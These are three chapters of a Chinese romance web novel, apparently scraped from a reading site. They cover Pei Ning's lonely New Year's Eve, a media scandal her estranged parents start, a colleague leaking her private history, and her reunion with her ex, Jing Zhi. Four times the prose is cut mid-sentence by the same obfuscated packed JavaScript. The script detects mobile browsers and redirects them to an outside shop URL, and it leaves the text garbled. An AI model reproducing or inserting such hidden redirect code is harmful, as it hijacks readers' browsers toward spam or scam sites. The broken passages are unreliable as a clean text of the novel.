“裴凝。” 方昀游很少这样直接叫她名字。 裴凝动了下身子,算是回应。 “我还是没有机会吗?” 低沉男声从耳边传来,方昀游的情绪一如既往地平和,外人听了,大抵都听不出他这是表白的话。 裴凝缓了许久,终于开口。 “没有。” 意料之内的回答,方昀游没有什么反应。 “因为他吗?” “嗯。” 停顿了一下,裴凝适应着说话时声带的震动,勉强吐出一个长句子:“但不止。我不接受你,是因为我不喜欢你。” 方昀游无声笑着。 “裴总,说话这么直接,真伤人啊。” “抱歉。” 裴凝嘴上道歉,语气却更加果断了些。 “不必道歉,我的感情与裴总无关。” 裴凝不愿再继续这个话题,干脆沉默。 一阵小跑声传来,是朱情来寻裴凝了。 “半天看不到你,还以为你怎么了,担心死我了。” 她语气有些急,扶起裴凝,才想起和方昀游打招呼。 “方总,你也在这啊。” 方昀游笑笑,没多解释,接过了裴凝递给他的西装,转身往会场走去。 “他又和你说什么了?” 看方昀游走远,朱情小声问。 “还是那些。” 裴凝借着朱情的力道起身,随口答道。 “那你呢?” “也还是那些。” 朱情耸肩,没再追问这无聊的八卦。 “小情人儿,几点了?” 朱情看了眼手机。 “十一点半。” 裴凝点了点头:“我想出去转转。” “现在?”朱情不禁反问,“不和大家一起跨年了吗?” “想透透气。” 朱情见她神色有些黯淡,瞬间明白过来什么。 “我陪你去吧。” “不用,你去和他们玩吧,咱俩都走了会扫大家兴的。” “可是你还醉着……” “没事,我就在楼下,不走远。” 朱情再了解裴凝不过,当她用这种冷静的语气说话时,谁也改变不了她的决定。 所以她妥协道:“那我去帮你拿外套。外面冷,别待太久,过了零点我就去找你。” 裴凝点头。 套上外套,坐电梯到一楼,推开酒店大门的那一刻,扑面而来的寒雪浇灌进裴凝的混沌,让她清醒了大半。 楼下是一条繁华的商业街,今天跨年,不少全家倾巢而动的,挤满了宽敞的街道。 五色霓虹,喧闹人声。 裴凝逆着人流,踏过薄雪覆盖的街面。 许多商家赶着节日通宵营业,三两叫卖声,此起彼伏。 裴凝抬头,看到前面有一个卖发光气球的奶奶。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192678|147190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她拿着一把气球,又硬又圆的气球脑袋一个一个挤在一起,像一束气球花。 记忆中的画面忽然在眼前重叠。 裴凝顿住,站在原地看了很久很久。 直到身后跑来一个小孩撞得她趔趄了两步,她才回过神。 裴凝走上前去,把老奶奶剩下的气球全部买下了。 气球花换到了她的手中,走在街上,路过的许多人都忍不住侧目看她。毕竟,这一大把看起来像是要贩卖的气球,和裴凝精致的妆容、名贵的首饰,还有长到膝盖的大衣都不搭。 裴凝无视周围的目光,径直向前走着。 直到她实在走不动了,才在路边椅子上坐下。 气球不停从左手换到右手,又从右手换到左手,还是没能阻止手指被冻得僵硬刺痛。 裴凝仰头看着气球上的图案,终于不再挣扎,放任自己全然陷入回忆中。 为了不让自己沉溺在这样的时刻里,这一年,裴凝几乎没有给自己留下放空的时间。 井稚离开后,裴凝起初并不在意。 她对自己很有信心,认为分手的感伤,最多不会超过一周。 但一周之后,又是一周。 一月之后,又是一月。 她对井稚的想念只增不减。 裴凝逐渐惊慌、痛苦,然后淡然、接受。 她失算了,她忘不掉井稚。 她爱井稚,虽然是在他即将离开的时候才发现。 “阿姨,这个气球多少钱?” 稚气的声音打破裴凝的出神。 裴凝低头看去,一个小女孩站在她面前,脸冻得通红,但遮不住开心的神色。 她也把裴凝当成卖气球的了。 裴凝抬眼,看到她的父母就站在她身后不远处,欣慰又鼓励地看着小女孩,并没有上来帮她询问。 裴凝想了一下,从手中拿下一个气球。 “你和我说一句新年快乐,我把这个气球送给你好不好?” 小女孩的眼睛瞬间亮起来,脆生生喊道:“新年快乐!” 裴凝笑着,把气球递给她。 这样的事总是能很快传开,不一会儿,裴凝身前就站满了小孩,稚嫩的“新年快乐”声不绝于耳。 气球很快送完,裴凝周身恢复了平静。 她拿出手机,看着时间。 23:58。 还是忍不住。 裴凝打开微信,点开井稚的聊天框。 两人分手很体面,没有拉黑删除对方任何联系方式。 只是,也没有一条消息。 这一年,裴凝不知道打开这个聊天对话多少次,背景上井稚笑容的弧度都刻在了她脑子里。 她在对话框里打下“新年快乐”四个字。 想了想,又一个字一个字删掉。 光标闪烁,时间已经跳到23:59。 裴凝的心跳不知为何快了些。 退出微信,点开通讯录,打开井稚的联系人界面,手指反复在拨号键上试探又退开。 始终没有按下。 犹豫间,熟悉的烟花声骤然响起。 天地间都被这巨大声响包裹。 那一瞬间,裴凝有种被隔离的安全感,她忽然有了勇气,指尖触碰到手机屏幕。 听筒放到耳边,她紧张地等待着电话拨通前短暂又漫长的留白。 “对不起,您所拨打的电话正在通话中……” 机械女声传到耳中,裴凝的一半神思被生硬地拽回现实,另一半还陷在虚无。 周遭声音瞬间脱离真空,炸在耳边。 裴凝又叹气。 她越来越习惯叹气了。 天上一朵金色烟花盛开,裴凝抬起头,光亮映在眼中。 她对着没有打通的电话轻声道: “井稚,新年快乐。” 37. Chapter 37 即使喝了许多酒,裴凝也还是失眠了。 凌晨三点,窗外零星响着炮竹声,裴凝躺在床上,看着漆黑的天花板。 她开始后悔,年轻的时候酒喝得太多,身体适应了,现在想买醉昏睡都没机会。 鞭炮声停下的短暂空隙,裴凝听到了略显粗重的呼吸声。 井小二又在打呼噜了。 本就睡不着,听到它睡得如此香,裴凝心里更不平。她翻身起来,走到井小二窝前,站了一会儿。 见它依旧睡得雷打不动,裴凝果断蹲下身,掀起它耳朵。 “别睡了,起来重睡。” 井小二大概还在做梦,乍一被裴凝吵醒,一时搞不清状况,习惯性地伸爪去够裴凝的手。 裴凝心满意足地拍拍它。 “你做噩梦了,接着睡吧。” 怪就怪井小二总在脸上挂着憨态可掬的神态,裴凝怎么看都觉得和井稚如出一辙。所以井稚离开后,裴凝时不时就把怨气撒在井小二身上。 包括但不限于,试图给井小二改名为裴小二、因为心情不好所以带它绝育、想起井稚就把它撵下床,等。 还有,三天两头抱着它讲井稚坏话,不听不给吃饭的那种。 “你哥真坏,抛妻弃子,说不要咱俩就不要了。” 诸如此类。 见井小二翻了个身很快又睡着了,裴凝重新回到床上,继续瞪着眼睛熬鹰。 凌晨五点,她终于等来一丝困意,缓缓合上眼睛。 才睡了不到四个小时,裴凝就被连续不断的电话震动吵醒了。 她迷迷糊糊地摸来手机,眼睛都没睁,凭着肌肉记忆按下接听。 “喂?” “洛洛,出事了。” “什么事?” 裴凝的大脑还在宕机重启中,并没有因为朱情焦急的语气而打起精神。 但显然朱情已经拉响了十二级警报。 “你父母接受媒体采访了。” “采访?什么采访?” 裴凝努力理解着朱情的话,眼睛稍微睁开一些。 半分钟后。 “什么?!” 裴凝猛地坐起身。 挂断电话,裴凝立刻搜索新闻,被挤爆的微信疯狂弹出消息,一直阻碍她的操作,裴凝一气之下把微信后台关了,才成功打开微博。 如朱情所言,现在全网铺天盖地都是她的名字。 还有裴悯的。 简单来说,就是裴宁海和赵莹向媒体曝光了裴凝和裴悯的关系,并称裴凝因为贪图裴悯的名气,抛弃了亲生父母,转而认裴悯为母。现在他们老了,要求裴凝履行抚养义务,但联系不上裴凝,所以才选择求助媒体。 裴凝看到这些文字的时候,气得全身都在抖。 这一家人的无耻永远能刷新裴凝的下限。 这家媒体一定是特意选在元旦休息这天发布新闻,打裴凝一个措手不及,让她无法及时进行处理和回应。 现在态势已经发展到了无法控制的地步,一切都来不及了,网友把各种难听的话都灌进了裴凝的社交媒体和破晓网站,还有因此衍生的离谱谣言满天飞。 有说她的成绩是借裴悯的势力灌水的,有说她的作品是裴悯代笔的,更有甚者,说她开公司其实是为了给裴悯逃税洗钱。 裴凝马上给裴悯打去电话。 “妈,你最近别上网。” “我看到了。” 裴悯的声音依旧恬淡。 裴凝一时不知道该说什么,沉默几秒,还是裴悯先开了口:“没事,走一步看一步吧。” 裴凝只能点头:“妈,你先别出门了,网上的话也不要看,我来解决。” “好。” 挂断电话,裴凝火速收拾出门。 到破晓的时候,朱情、许溪和方昀游都已经在等她了。 没有时间解释那么多,裴凝赶忙打开电脑,问着朱情:“网站还稳定吗?” “总部在处理了,现在还可以,就是恶评处理不过来。” 裴凝握着鼠标的手收紧,眼睛盯着屏幕。 “裴总,顾总电话。” 方昀游把手机递给裴凝。 裴凝接过,略带歉意地垂下眼帘。 “顾总,给您添麻烦了。” “新闻说的是真的吗?” 顾青山没有生气或责备,开门见山地问道。 “不是。” 裴凝语气坚定,很快回答了她。 “好。方总会留在青城帮你们处理,他在这方面能力非常强,你们一切听他指挥就好。” 裴凝应下,末了,又道了一次歉。 “抱歉,顾总,因为我的私事给公司带来这么大影响……” “没事,你们也不用着急,一切都会过去的。” 通话结束,裴凝把手机还给方昀游。 “裴总,我知道现在问这些可能不太合适,但我们的时间不多,”方昀游看着裴凝,神情严肃,“你方便把这件事的原委告诉我吗?这对我们制定公关方向很重要。” 裴凝没有回答,只是看着方昀游。 她觉得不方便,但事已至此,她的意愿好像已经不重要了。 最终,她低下头,叹了口气。 “好。” 宽敞的办公室沙发,四个人围着坐下。 裴凝把自己的经历从头到尾讲了一遍,从出生到出道。 和上次当故事一样讲给井稚不同,这次裴凝讲述得理智又简洁,条理清晰,毫无感情,一切以解决问题为导向。 “这就是全部的事实。” 裴凝说完的时候,许溪的眼睛已经红得马上就要落下泪来。 方昀游的神色也很复杂,他知道现在应该是工作状态,可他实在忍不住心疼裴凝。 方昀游往前坐了坐,握住裴凝放在桌上的手,想安慰她。裴凝顿了一下,不着痕迹地抽出来。 “方总,我讲这些,是为了接下来的工作,但我本人并不希望这些事公之于众。如果可以,我希望能最大程度地保护我和裴悯老师。” 裴凝极度冷静,冷静得仿佛不是她自己的事。 但回头一看,许溪已经偷偷抹上眼泪了。 裴凝坐过去些,环住许溪肩膀。 “怎么还哭了?” 话一出口,裴凝便顿住。 过往回忆不分场合地袭来,她瞬间想起,同样的话,她问过井稚。 井稚也曾为她哭泣。 “凝姐,你一定要幸福。” 许溪抽抽鼻子,道。 裴凝笑笑,拭去她脸上泪痕。 “好,我会的。” - 裴凝把公关工作全权交给方昀游,自己则和朱情处理着网站的麻烦。 但令她始料未及的是,两天之后,她的故事开始以小道消息的形式遍布网络。 各个社交平台的角落都充斥着她所谓的“熟人”、“亲戚”、“邻居”,裴凝痛苦的经历被抽丝剥茧地暴露在所有人面前。 她有一瞬间觉得自己是在网上裸奔。 从震惊中清醒过来后,裴凝立刻奔向方昀游办公室。 走到办公区的那一刻,所有人都带着怜悯的眼神看向她。 裴凝几乎是震怒地摔上了方昀游的门。 “消息是你放的?” 方昀游起身,试图安抚裴凝的情绪:“裴总, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14204362|147190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你先别急,我们坐下慢慢说。” 裴凝看着他总是云淡风轻的表情,感觉有烈火在自己体内烧过,由下至上,直烧到头顶。 她掩不住怒意:“方昀游,你什么意思?” “裴总,你的经历就是反击的最佳手段,我这样做是对你和裴老师的最大保护。只有把你从加害者塑造成被害者,我们才能占据舆论优势……” “所以你就不经过我同意把我的事情发在网上?你尊重过我吗?” 方昀游给她倒了杯水,然后才开口解释。 “你也知道,舆论的力量是无法估量的,我们已经失去了先机,无论你怎么回应,大家都会对你留下负面的刻板印象,这种影响是长期的,我们能做的只有尽力扭转公众的看法。我已经给你约好了几家大媒体的采访,先以这种形式把消息散出去,为你的正面回应造势,后续改变舆论风向会更容易。” 裴凝根本不想听他说的这些,她盯着方昀游,一字一句道:“我问你尊重过我吗?我有什么义务为了一句谎言把自己剖开给公众看?” 方昀游难得做不到从善如流。 他也看了裴凝一会儿,但神色未变。 “裴总,我只是做了我认为最有利于你和公司的决策。” “最有利?谁评判的?你吗?” 裴凝突然感觉嘴里有些锈味。 疼痛传来,她才意识到,嘴唇已经干裂得破了口子。 “喝口水吧。” 方昀游没有回答她的问题,而是把水杯又往她手边推了推。 裴凝没有接。 “把水军撤了,我不同意采访。” 方昀游停顿了一下,似乎是在斟酌如何开口:“来不及了。热搜已经挂上了。” 裴凝一句话也不想再同他说,起身摔门而去。 她第一次有了不想当个好老板的冲动。 回到办公室,收拾好东西,裴凝扬长而去,再不想管任何残局。 - 裴凝已经在沙发上坐了一个小时了。 她没有行动的欲望,甚至回来之后,连口水都没喝,任由嘴唇撕裂疼痛。 电话、微信不断,裴凝干脆关机。 她忽然不想面对任何人,只想找个地方把自己藏起来。 与世隔绝,忘却一切。 她怎会不知,网上的言论有多大的杀伤力。 可即使她把真相讲出来,又有几个人真正共情她?大多数人不过是看个乐子,过几天就又被新的乐子吸引,把她这点事抛掷脑后了。 可是,留给她和裴悯的伤害呢? 谁在乎? 裴凝越想头越痛,感觉有一万个人在脑子里同时说话。 井小二忽然从地上跃起,跑到门口“汪汪”叫着。 下一秒,门铃声传来。 裴凝估摸着是朱情联系不上自己,所以来家里找她了。她心烦意乱,没有精力多想,直接站起身,走到门口,一把拉开了门。 然而,闯入视线的,是一个高挑健硕的身影。 裴凝一时没有反应过来,视线缓缓向上,仿佛过了很久,才对上那双眼睛。 又圆又黑又亮的眼睛。 裴凝醒过神来,双手捂住嘴,不可置信地后退两步,差点被兴奋的井小二绊倒。 井稚一把捞住她。 真切的触感从腰间传来,裴凝终于确认,她不是在做梦。 是真的井稚。 万千委屈在这一刻爆发,她没有任何征兆地,开始嚎啕大哭。 陌生又熟悉的温度环绕住她,将她的哭声藏进怀里。 裴凝在几近缺氧时听到了井稚久违的声音。 “别怕,我在。” 38. Chapter 38 裴凝坐在沙发上,余光瞥着与她隔着好几个井小二距离的井稚。 刚才一见面,她情绪来得太快,不管不顾地大哭了十几分钟,把那些委屈、难过全哭散了,恢复平静之后,空气里似乎只剩挠人的尴尬。 但裴凝毕竟是裴凝。 她先侧过身去,不易察觉地靠近井稚一些:“怎么回来了?” 井稚似乎有些难以开口,抿着唇,眼神刻意落在其他地方,手指不自觉地蜷在一起。 半天,才小声道:“我看到新闻了。” 裴凝其实有预感,井稚是因为这件事来的。但看着他这个想关心又不想先服软的别扭样子,她逗小孩的心思顿起。 “哦?那你是担心我吗?” 裴凝明目张胆地凑得更近。 井稚见她靠过来,也往一边挪,裴凝很有耐心地陪他一起挪,直到井稚挨上了沙发扶手,无处可躲。 他认命道:“对,我很担心你。” 裴凝继续打趣:“不是说我不爱你?那你还担心我呀?” “我没出息。”井稚愤愤地扭过头来,破罐子破摔般直对上裴凝眼睛,“你爱不爱我,我都担心你。” “哦,这样啊。”裴凝心里高兴,但面上装出一副平淡的表情,“那你跨年的时候在和谁打电话?为什么我打过去会占线?” 井稚本以为她还要再说些什么爱不爱的话,心里都准备好回怼她的说辞了,结果冷不丁被裴凝这么一问,已经脱口的话紧急刹车。 “……嗯?” 裴凝持续输出:“还是你把我拉黑了?单方面拉黑前任很不厚道哦,你应该跟我说一声然后一起拉黑嘛……” “你在说什么?”井稚越听越不对劲,急忙打断她,“我没拉黑你啊,跨年的时候……” “那就是在和别的小姑娘打电话说新年快乐。” 裴凝下了结论。 “当然不是!我在给你打电话啊!”井稚急了,“我还以为你在给别人打电话呢!” 裴凝怔了一下。 片刻,忽然笑开。 原来是新年的线路太忙,阻隔了思念相通。 “你给我打电话干嘛?快一年了,一条消息都不发给我,我还以为你要跟我老死不相往来了呢。” 这回语气里的埋怨不是装的。 “……不是都说分手了,前任就应该是个死人吗?” “所以你把我当死人?” “什么啊!是我应该当你列表里的死人啊!” 井稚着急解释,贴着裴凝的腿不停摩擦她膝盖,痒痒的。 他没完全说实话。事实上,不联系的主要原因是,他怕裴凝一句话就能让他前功尽弃,立刻跑回来纠缠,然后导致双方都更加痛苦。 “那孩子你也不管了?井小二是你捡回来的,你竟然能这么长时间不闻不问,有你这么当家长的吗?你看它都长多大了?” 裴凝持续输出,把怨气一股脑倾泻出来,手指指着无辜但胖墩的井小二。 井稚理亏地摸摸鼻子。 “对不起嘛。” 哎? 怎么又变成他道歉了? 后知后觉的井稚刚想直起腰来和她理论,忽然,一个脑袋埋进了自己胸口。 裴凝紧紧地抱住他,像抱住易逝的流沙般不敢松手。 她久违地听到了那阵杂乱无章的心跳,从耳鼓传来,与她共鸣。 “对不起,井稚。” 声音像隔着屏障,但听到井稚的耳中,分外清晰。 “我好想你。” 又一句。 井稚缓缓低下头,嗅到她头顶玫瑰味的芬芳。 他抬起手,将裴凝全然拥入怀中。 “我也很想你。” - “你电话关了,不怕他们找不到你吗?” “没事,反正他们做什么也不需要我同意。” 裴凝看了一眼黑着屏的手机,把它扔得更远些。 井稚的出现让她暂时忘记了水深火热的现实,她不想破坏这难得的温存。 井稚听出裴凝平淡语气下掩藏的怨意,担心道:“事情怎么会变成这样?” 裴凝叹了一口气,将原委讲与井稚。 “我就说这小子不靠谱!” 听裴凝说完,井稚气愤地一拍大腿。 裴凝拧眉,出声应和:“就是!” 井稚倒是没想到裴凝会和他一起吐槽方昀游,愣了一下,昂起的头不自觉缩回些。 “那你现在怎么办?去接受采访吗?” “我不知道。” 裴凝纠结又无奈。 “你想去吗?” “不想。” “那就不去。” 井稚立刻接道。 裴凝也很想直接撂挑子不管,她是锱铢必较的性格,方昀游这样利用她的隐私炒作,换做以前,她早就与他闹翻天了。 可现在,她不是一个人。 因为裴凝,整个公司都惹得一身腥,如果抛开个人情感,从客观角度来说,方昀游的话其实没错,她用自己的故事制造新的舆论,让舆论互相对抗,确实是目前最快的办法。 在自己和公司之间,裴凝陷入两难。 “我还是和我妈商量一下吧。” 这件事毕竟也涉及裴悯的隐私,她还是得征求一下当事人的意见。 井稚把裴凝的身子转过来,理了理她刚才因为抱着自己而弄乱的头发。 “裴凝,你想做什么就做什么,同样,不想做就不做,没有人有资格因此责怪你。” 裴凝握住井稚想要放下的手,牵着他放到自己脸侧。 “无论我做什么决定,你都会陪着我吗?” 酥麻的感觉从指尖传来,井稚的思绪迟钝了片刻。 他不确定地问:“这……不合适吧。” “有什么不合适?” “我们分手了。” “分手了就不能做朋友了吗?朋友之间互相支持,多正常啊。” “……好吧。” “那你是答应了?” 裴凝的手又收紧些,生怕他跑了一样。 “你想……让我陪你吗?” “想。” 井稚被裴凝回答的速度惊了一下。 但很快,他又清醒过来。 她还是这么会拿捏人心,一句话就差点让他陷进去了。 “好。我会一直陪着你。” 但是……管她呢,她现在被网暴还被背刺,已经够惨了,他就被她拿捏一下吧。 又不会怎么样,反正他都习惯了。 井稚如此安慰自己。 “好耶!”裴凝俏皮地眨眼睛,“不过今天不想想那些。井稚,你吃饭了吗?” “没吃……怎么了?” “我也没吃,你等着,我去做饭。” 身旁温度忽然消失,沙发凹陷缓缓回弹,等井稚反应过来,裴凝已经走到厨房了。 做饭? “你会做饭?” 井稚把心里的疑问脱口而出。 “会啊。”裴凝探出脑袋来,“不然你以为我们家怎么这么多厨具。” “那我怎么从来没有见你做过……” “我懒嘛。” 井稚被裴凝搞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233077|147190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得晕晕乎乎的脑子有些冷静下来。 在一起的时候,他不知道给裴凝做了多少次饭。 竟一次都没有吃过她做的饭。 酸涩劲上来,他赌气地走到厨房,拽住裴凝摆弄菜板的手。 “别忙活了,我先走了。” “哎?不吃了?” 裴凝追上扔下一句话就走的人,她手上沾着水,不好直接拽他,只能靠在门上,阻止他开门。 “嗯。” “那你要上楼?有事你就先回嘛,做好了我叫你。” 井稚随口回绝:“我把房子卖了,回爸妈家。” “……卖,了?” 裴凝想起自己确实曾在电梯里见过有人搬着家具上23楼,她当时还想过是不是井稚把房子租出去了,没想到他直接卖了? “你好绝情啊,井稚。”裴凝是真的有点生气了,“你一点后路都不给咱俩留啊。” 她让出门口,用胳膊肘按着门把手打开门。 “走吧走吧,想走的人怎么都留不住。” 井稚怎么可能把房子卖了,他只是因为做饭的事在气头上,想怼她一下而已,结果一着急说错了话,这下他也收不了场了。 偏偏他还顺着裴凝的动作,本能地迈出一只脚去。 见井稚往外走,裴凝的眉毛立刻立起来,更加气愤,直接把井稚推了出去,也不管是不是会弄湿他衣服了。 “你还真走啊,服了!” 重重的摔门声响起,井稚反应不及地后退两步。 许久不见,裴凝怎么好像……变暴躁了? 她以前不是不管自己耍什么小性子都不会生气吗? 井稚挠头,百思不得其解。 - 裴凝专门去裴悯家,和她当面聊了最近的事情。 得到的答案和井稚如出一辙:她想做就做,不想做就不做。 裴悯说,她早就看淡这些了,那点陈芝麻烂谷子的事,给大众当个谈资,她也无所谓,还不如她年轻的时候写女性思想解放的小说被骂得狠呢。 裴凝回家后想了很久,还是下定不了决心。 本来想再问问井稚意见,刚想打电话约他,裴凝就想起,他已经回江城了。 听说江城的新店发展不错,青城这边他全权交给了提拔的店长,现在井稚专心负责江城新店,事情很多,根本走不开,那天是临时回来的,所以没待一天就回去了。 裴凝都不想戳穿他,不就是因为不想回来和她碰面,所以才扔下这边的吗。 想了想,裴凝给朱情发了消息。 【小情人儿,我能休息几天吗?】 朱情秒回。 【快休息吧小祖宗,你休息一个月也行。】 裴凝笑了笑,又切到方昀游的聊天框。 【什么时候采访?】 方昀游也回得很快。 【后天。】 裴凝收起手机,拿上车钥匙,很快出了门。 一分钟后,她又开门进来。 “井小二,走,带你找你哥去。” 裴凝抱起软绵绵但胖嘟嘟的小狗,关上门。 到江城的时候,正好路过之前买花的那家花店,裴凝买了一束粉色郁金香。 看到松林间的招牌,裴凝停好车,一手抱狗,一手抱花,明晃晃地朝书店里侧走去,惹得路过的店员和顾客纷纷侧目。 大周末的,她笃定十佳好老板井稚一定在店里。 熟悉的身影在书架后闪过,裴凝了然地勾出一抹浅笑。 她快步上前,拦住井稚去路。 “井老板,怎么又扔下我了?” 39. Chapter 39 井稚没有太惊讶,很快接受了这熟悉的“出其不意”,接过井小二,引着裴凝往里走。 “怎么扔下你了?” “回了江城就没信了,给你发消息也不好好回,可不是扔下我了?” 井稚在店里给自己留了一间办公室,两人走进去,将喧闹隔绝在门外。 “忙,没顾上。” “啧,井老板可真薄情。上次还说想我,转头就忙了——” 裴凝故意拖长了音调,似笑非笑。 井稚语塞。 “大老远过来,有什么事吗?” “没事就不能来?” “不能,”井稚一口回绝,“我们分手了。” “你不是也去找我了?” “那是因为……” “因为什么?”裴凝的连环问穷追不舍,直把井稚逼到墙角,“因为担心我?因为喜欢我?因为爱我?” “裴凝!” 井稚小声怒喝,两眼一瞪,皱着眉看裴凝。 “井稚,你是不是精神分裂啊?在我家气氛暧昧得我都以为你要跟我复合了,几天没见怎么又变样了?” 不顾一切地跑回去,是井稚太过担心,冲动之下的行为。那些话,那些拥抱,那些若即若离的触碰,也都是乍一见面,憋在心里太久的思念控制不住而作的祟。 但等井稚冷静下来之后,他还是觉得,知道她没事,就不应该再过多打扰她。 这样对两人都好。 “你要是没什么事,就回去吧,公司应该挺忙的。” 他没有过多解释,只是冷下语调,垂眼看向别处。 “我不走。” 裴凝耍赖似的,转身往椅子上一坐。 “……那你想干嘛?” “让你陪我采访啊,你答应我了。” 井稚一怔:“你答应接受采访了?” “本来不想答应的,”裴凝翘着二郎腿,小幅度地转着椅子,“但是现在看来,只有接受采访才能让尊贵的井老板抽出时间和我见面了。” 这话听得井稚眉头更紧。 “裴凝,你不要开这种玩笑,也不要因为我就随意做决定……” 裴凝见井稚还是那么一本正经,不忍心再逗他。 “哎呀,当然不是只因为你。我刚才在来的路上好好想过了,我妈说得对,那点陈年往事我根本不应该在乎,如果能解公司燃眉之急,也算是裴家最后的价值了。” 井稚见她神色认真,便知道她是真的下定了决心。 “你会害怕吗?” 他不免担心。 “害怕什么?” “被评头论足,被不理解,被不相信……” “怕,当然怕。”裴凝的胳膊撑在扶手上,托着额头,似乎在回忆,“刚出事的时候,我被骂得不敢上网,但还是要假装没事。毕竟,我带着一个公司,我怕了,我们就都输了。” 井稚忽然发现,他原来并没有看到真正的裴凝。 上次见她,只觉得她是一贯的冷静自持,并未受太多影响。他还庆幸,裴凝是如此强心脏的一个人,能免疫外界的攻击,不至于太过受伤。 原来他和外人一样,忽视了她也是个脆弱敏感的人。 井稚的心揪在了一起,疼得能拧出血来。既为自己的想当然,也为她的强装坚强。 “那你还要去采访……” “我得去呀。那么多人等着我呢,因我而起的事情,我总得做个了结。” 井稚走上前去,忍不住,想再抱抱她。 胳膊已经抬到了半空,但最终还是转了方向,只是摸了摸她的头。 “我陪你。” 裴凝仰头,笑意蔓延到眼里。 “好。” 井小二在地上跑酷,撞在井稚腿上,将他从情绪中抽离出来。 “采访在什么时候?” 他弯腰去抱不听话的井小二,放到裴凝怀里。 “后天。” “那你今天回去吗?” 井稚状似不经意地问着。 “不回了,明天我们一起回吧。” “那你今天……住我那里吗?” 裴凝见他言辞闪烁,眼神飘忽,轻笑着拍他一下。 “别紧张,我住酒店,你把井小二带走就行。” 井稚扭过头来:“为什么?” “什么为什么?”裴凝好笑地看他,“不是你说我们分手了,不合适吗?” 裴凝现在谨记要考虑井稚的感受,不会再主动做越界的事了。 “话是这么说……” 井稚又支支吾吾起来。 他就是这样,一开始还告诉自己一定要坚定,不能心软,免得又被裴凝牵着走,但一见她刚刚那副模样,就败下阵来,毫无原则可言。 “怎么,井老板想请我去家里?” “……对。” 裴凝站起来,把井小二递给他。 “不用啦,我都订好了。明天你带我逛逛江城吧,然后我们就回去。” 井稚怏怏应下:“好吧。” - 采访当天,井稚到楼下接裴凝。 她没有穿很正式的西装,而是穿了偏休闲的毛衣,搭一件浅色长风衣,小巧简洁的叶子胸针点缀,显得整个人随和又不失干练。 “不用了方总,有人送我,你在那等我就行。” 裴凝一边打电话,一边开车门。 “好,我看下稿子。” 挂断电话,井稚瞥她一眼:“方昀游?” “嗯。他把媒体的提问稿提前发给我了,说让我有个准备。” 井稚“哼”了一声,没再继续说话,一脚油门加速起步。 “你看我戴了什么?” 等红灯的时候,裴凝忽然问道。 井稚扭过头去,看到裴凝拽出藏在毛衣里的项链。 是去年他送的那条小狗项链。 井稚想装作不在意的样子,可眼角的弧度出卖了他。 “还留着呀?我还以为你扔了呢。” “切,开心就直说嘛,口是心非的男人。” 井稚撇过头去,转开话题:“和你今天的衣服不太搭吧,怎么戴这个了?” “迷信,感觉戴这个会有好运,能一切顺利。” 井稚心里窃喜,但面上还端着,小声喃喃:“这又不是什么转运的东西……” “你管我,我说能就能。” 两人一路说笑,裴凝心里的紧张缓解了不少。 到了媒体大楼,井稚帮裴凝拿着东西,和她一起下车,在车前替她理着有些乱的头发。 “我在楼下等你。” “不上去吗?” “不上去了,我不是你们公司的人,去了不合适。放心,我不走。” 裴凝还想说什么,忽然听身后一声惊呼。 “井稚?!” 裴凝回头,是方昀游带着朱情和许溪到了。说话的是许溪,她瞪大眼睛,不可置信地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14235745|147190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑上前。 朱情已经知道她和井稚重新联系的事了,所以没有太多惊讶,稳稳地走在后面。 至于方昀游,裴凝没去看他什么表情,她也不在意。 “你们……”许溪来回打量两人,眼珠子转得快冒火星子了,“你们复合了?” “没有。” 裴凝和井稚异口同声道。 “那你们这是……?” 许溪有些丈二和尚摸不着头脑。 “朋友。” 裴凝给出了一个万能答案。 许溪半信半疑地看着他们,对于他们分手一年突然又开始做朋友的说法表示很怀疑。 “没事,小溪,这两人第一次见面的时候就接吻了,他们玩得多花都不稀奇。” 朱情依旧点评能力在线,适时替裴凝“解释”道。 裴凝瞪她一眼,立刻把人拉过来。 “谢谢您夸奖哈。” 